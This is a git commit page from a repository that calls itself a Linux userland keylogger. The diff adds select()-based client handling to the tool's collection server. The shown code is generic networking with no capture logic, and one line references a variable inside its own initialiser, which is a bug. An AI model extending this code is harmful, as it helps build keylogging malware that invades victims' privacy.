mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 61cd4d050c2f560796447c73c13cd800d29e4929
parent 5ec7c5a49125d49d80b59040af9c85cf0948c2da
Author: djnn.sh <[email protected]>
Date: Sun, 14 Jan 2024 14:42:07 +0100

feat(server): adding `select()` call to server loop

Diffstat:
Mserver/includes/server.h | 1+
Mserver/sources/loop.c | 32++++++++++++++++++++++++++++++--

2 files changed, 31 insertions(+), 2 deletions(-)

diff --git a/server/includes/server.h b/server/includes/server.h
@@ -98,5 +98,6 @@ int init_csv_dbfd(char const *filepath);
 void loop(server_t *instance);
 int should_gracefully_exit(int code);
 int get_fd_size(void);
+void fdset_setup(fd_set *ws, fd_set *rs, fd_set *es, server_t *instance);
 
 #endif /* SERVER_H */
diff --git a/server/sources/loop.c b/server/sources/loop.c
@@ -8,6 +8,7 @@
 #include <signal.h>
 #include <stdlib.h>
 #include <string.h>
+#include <sys/queue.h>
 #include <sys/select.h>
 #include <unistd.h>
 #include "server.h"
@@ -23,22 +24,48 @@
         -> if anything fucks up at any point just trigger cleanup routine
 */
 void loop(server_t *instance) {
+    fd_set rs;
+    fd_set ws;
+    fd_set es;
 
+    TAILQ_INIT(&instance->clients);
     while (should_gracefully_exit(0)) {
+
+        // TODO: check for new connections here
+
         int fdsize = get_fd_size();
         if (fdsize == -1)
             break;
 
-        int sstat = select(fdsize, NULL, NULL, NULL, NULL);
-        if (sstat == -1) {
+        fdset_setup(&ws, &rs, &es, instance);
+
 #ifdef DEBUG
+        struct timeval timeout = {.tv_usec = 5000, .tv_sec = 0};
+        int sstat = select(fdsize, &rs, &ws, &es, &timeout);
+        if (sstat == -1) {
             DEBUG_LOG("select: %s", strerror(errno));
+#else
+        int sstat = select(fdsize, &rs, &ws, &es, NULL);
+        if (sstat == -1) {
 #endif
             break;
         }
     }
 }
 
+void fdset_setup(fd_set *ws, fd_set *rs, fd_set *es, server_t *instance) {
+    FD_ZERO(es);
+    FD_ZERO(ws);
+    FD_ZERO(rs);
+
+    client_t *it = NULL;
+    TAILQ_FOREACH(it, &instance->clients, clients) {
+        FD_SET(it->sockfd, es);
+        FD_SET(it->sockfd, ws);
+        FD_SET(it->sockfd, rs);
+    }
+}
+
 int should_gracefully_exit(int code) {
     static int should_exit = 0;
 
@@ -81,6 +108,7 @@ int get_fd_size(void) {
     }
 
     buf[num_read] = '\0';
+    close(statfd);
 
     const char *fdsize_ptr = strstr(buf, fdsize_ptr);
     if (!fdsize_ptr)